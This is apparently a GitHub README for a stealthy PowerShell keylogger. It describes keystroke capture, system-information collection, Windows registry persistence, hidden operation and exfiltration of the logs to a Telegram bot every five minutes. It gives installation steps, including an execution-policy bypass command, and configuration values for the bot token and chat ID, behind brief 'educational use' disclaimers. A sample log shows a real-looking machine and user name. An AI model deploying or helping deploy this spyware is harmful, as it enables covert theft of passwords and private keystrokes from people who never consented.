🔑 Stealth Keylogger 🖥️

This is a PowerShell-based Keylogger designed for educational purposes only. The keylogger records keystrokes, collects system information, and sends the log to a specified Telegram bot. It also maintains persistence across reboots and can manage log file size by archiving when necessary.

Important: This tool should only be used in ethical hacking and security research environments where permission is granted. Unauthorized use is illegal and unethical.

---

🚀 Features

• Keystroke Logging: Records every keystroke, including special keys and function keys.
• System Information Collection: Logs important system information (CPU, RAM, OS, IP, etc.).
• Persistence: Ensures the keylogger automatically starts upon reboot without user intervention.
• Telegram Integration: Sends logged data to a Telegram bot for remote monitoring.
• Log File Management: Archives logs if the file size exceeds the specified limit (10MB).
• Stealth Mode: Operates in the background without showing any CLI prompts or visible windows.

---

📋 Log File Sample

 ##::: ##::'#######:::'#######::'########::  
 ###:: ##:'##.... ##:'##.... ##: ##.... ##:  
 ####: ##: ##:::: ##: ##:::: ##: ##:::: ##:  
 ## ## ##: ##:::: ##: ##:::: ##: ########::  
 ##. ####: ##:::: ##: ##:::: ##: ##.... ##:  
 ##:. ###: ##:::: ##: ##:::: ##: ##:::: ##:  
 ##::. ##:. #######::. #######:: ########::  
..::::..:::.......::::.......:::........:::  
___________________________________________________________________________
[INFO] Computer Name: BLIONRIE
[INFO] Current User: BLIONRIE\maila
[INFO] IP Address (IPv4): 192.168.**.*
[INFO] IP Address (IPv6): fe80::9aae:768b:4e35:****** 
[INFO] CPU: 12th Gen Intel(R) Core(TM) i5-12500H
[INFO] RAM: 7.69 GB
[INFO] OS: Microsoft Windows 11 Home Single Language (64-bit)
[INFO] Storage:

Name Used(GB) Free(GB) Total(GB)
---- -------- -------- ---------
C      214.71   140.82    355.53
E       80.58    17.08     97.66

Logged Keys
- - - -- - - - - - - 

⚠️ Disclaimer

This tool is intended only for educational purposes or ethical hacking engagements with explicit permission. Misuse of this tool may lead to legal consequences.

---

💻 Requirements

• PowerShell (pre-installed on Windows)
• Active internet connection (for Telegram bot integration)

---

📦 Installation

Step 1: Download the Script

1. Download the Script Clone or download the repository to your local machine.

   git clone https://github.com/4nuxd/keylogger.git
   cd keylogger

2. Alternatively, download the keylogger.ps1 file directly.

Step 2: Run the Script

1. Bypass Execution Policy (if necessary):

   Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force

2. Run the Script:

   .\keylogger.ps1

The script will automatically:

• Set up persistence via the Windows registry (so it runs after a restart).
• Start logging keystrokes in the background.
• Collect system information.
• Send logs to your Telegram bot at regular intervals.

---

🔑 Configuration

• Telegram Bot Integration:

  1. Create a Telegram Bot via BotFather.
  2. Get your botToken and chatID (where logs will be sent).
  3. Update the botToken and chatID values in the script.

  $botToken = "your-telegram-bot-token"
  $chatID = "your-chat-id"

• Log File Path: The logs are saved to the keylog.txt file located in the APPDATA directory.

  • Log path: $env:APPDATA\keylog.txt
  • Archived logs will be saved as keylog_<timestamp>.txt.

---

🛠️ How It Works

1. Keystroke Logging: The script listens for keypress events and logs them to a file. Special keys like ENTER, TAB, BACKSPACE, etc., are handled appropriately.

2. System Information Collection: Every hour, the script logs the system's CPU, RAM, OS, storage, and IP addresses.

3. Telegram Integration: Every 5 minutes, the script sends the current log file to your specified Telegram bot.

4. Log File Management: If the log file exceeds 10MB, it is archived and a new log file is created.

5. Persistence: The script ensures that it automatically runs every time the system starts, by adding itself to the Windows registry.

---

⚙️ Customization

• Change Log File Size Limit: Modify $maxLogSize to change the log file size threshold for archiving:

  $maxLogSize = 10MB

• Change Log Interval: Modify the Send-ToTelegram function's interval for sending logs to Telegram.

---

📢 Important Notes

• This script runs in the background without any visible windows or notifications. It is designed to be stealthy.
• Use responsibly and ensure you have explicit permission to run this tool on any machine.
• Legal Disclaimer: Unauthorized use of this tool for malicious purposes is illegal and unethical.

---

🔐 Security and Privacy

The script collects keystrokes and system information. Ensure that it is used in a secure environment and not for malicious purposes. Always respect privacy and legal boundaries.

---

📝 License

This project is licensed under the MIT License - see the LICENSE file for details.

---

📢 Updates

Updates Will Be Cominng Its v1.0.0

---

📞 Contact

• GitHub: GitHub
• Telegram: Telegram

---

✨ Acknowledgements

• Telegram Bot API
• PowerShell Scripting Community

---

🔒 Stay Ethical, Stay Safe 🔒